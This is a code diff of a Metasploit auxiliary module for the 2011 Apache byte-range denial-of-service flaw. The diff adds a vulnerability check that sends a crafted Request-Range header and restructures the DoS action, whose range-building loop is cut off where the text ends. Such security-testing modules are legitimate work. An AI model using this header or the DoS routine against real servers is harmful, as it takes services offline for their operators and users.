14
14
class Metasploit3 < Msf ::Auxiliary
15
15
16
16
include Msf ::Exploit ::Remote ::Tcp
17
+ include Msf ::Exploit ::Remote ::HttpClient
18
+ include Msf ::Auxiliary ::WmapScanFile
19
+ include Msf ::Auxiliary ::Scanner
20
+ include Msf ::Auxiliary ::Report
17
21
include Msf ::Auxiliary ::Dos
18
22
19
23
def initialize ( info = { } )
@@ -28,7 +32,8 @@ def initialize(info = {})
28
32
'Author' =>
29
33
[
30
34
'Kingcope' , #original discoverer
31
- 'Masashi Fujiwara' #metasploit module
35
+ 'Masashi Fujiwara' , #metasploit module
36
+ 'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
32
37
] ,
33
38
'License' => MSF_LICENSE ,
34
39
'Version' => '$Revision$' ,
@@ -39,17 +44,74 @@ def initialize(info = {})
39
44
[ 'EDB' , '17696' ] ,
40
45
[ 'OSVDB' , '74721' ] ,
41
46
] ,
42
- 'DisclosureDate' => 'Aug 19 2011' ) )
47
+ 'DisclosureDate' => 'Aug 19 2011' ,
48
+
49
+ 'Actions' =>
50
+ [
51
+ [ 'DOS' ] ,
52
+ [ 'CHECK' ]
53
+ ] ,
54
+ 'DefaultAction' => 'DOS'
55
+
56
+ ) )
43
57
44
58
register_options (
45
59
[
46
60
Opt ::RPORT ( 80 ) ,
47
61
OptString . new ( 'URI' , [ true , "The request URI" , '/' ] ) ,
48
- OptInt . new ( 'RLIMIT' , [ true , "Number of requests to send" , 50 ] )
62
+ OptInt . new ( 'RLIMIT' , [ true , "Number of requests to send" , 50 ] ) ,
63
+ OptString . new ( 'ACTION' , [ true , "DOS or CHECK" , "DOS" ] )
49
64
] , self . class )
50
65
end
51
66
52
- def run
67
+ def run_host ( ip )
68
+
69
+ case action . name
70
+
71
+ when 'DOS'
72
+ conduct_dos ( )
73
+
74
+ when 'CHECK'
75
+ check_for_dos ( )
76
+ end
77
+
78
+ end
79
+
80
+ def check_for_dos ( )
81
+ path = datastore [ 'URI' ]
82
+ begin
83
+ res = send_request_cgi ( {
84
+ 'uri' => path ,
85
+ 'method' => 'HEAD' ,
86
+ 'headers' => { "HOST" => "Localhost" , "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10" } } )
87
+
88
+ if ( res and res . code == 206 )
89
+ print_status ( "Response was #{ res . code } " )
90
+ print_status ( "Found Byte-Range Header DOS at #{ path } " )
91
+
92
+
93
+ report_note (
94
+ :host => rhost ,
95
+ :port => rport ,
96
+ :data => "Apache Byte-Range DOS at #{ path } "
97
+
98
+ )
99
+
100
+ else
101
+ print_status ( "NADA" )
102
+
103
+ end
104
+
105
+
106
+ rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
107
+ rescue ::Timeout ::Error , ::Errno ::EPIPE
108
+ end
109
+
110
+
111
+ end
112
+
113
+
114
+ def conduct_dos ( )
53
115
uri = datastore [ 'URI' ]
54
116
ranges = ''
55
117
for i in ( 0 ..1299 ) do
0 commit comments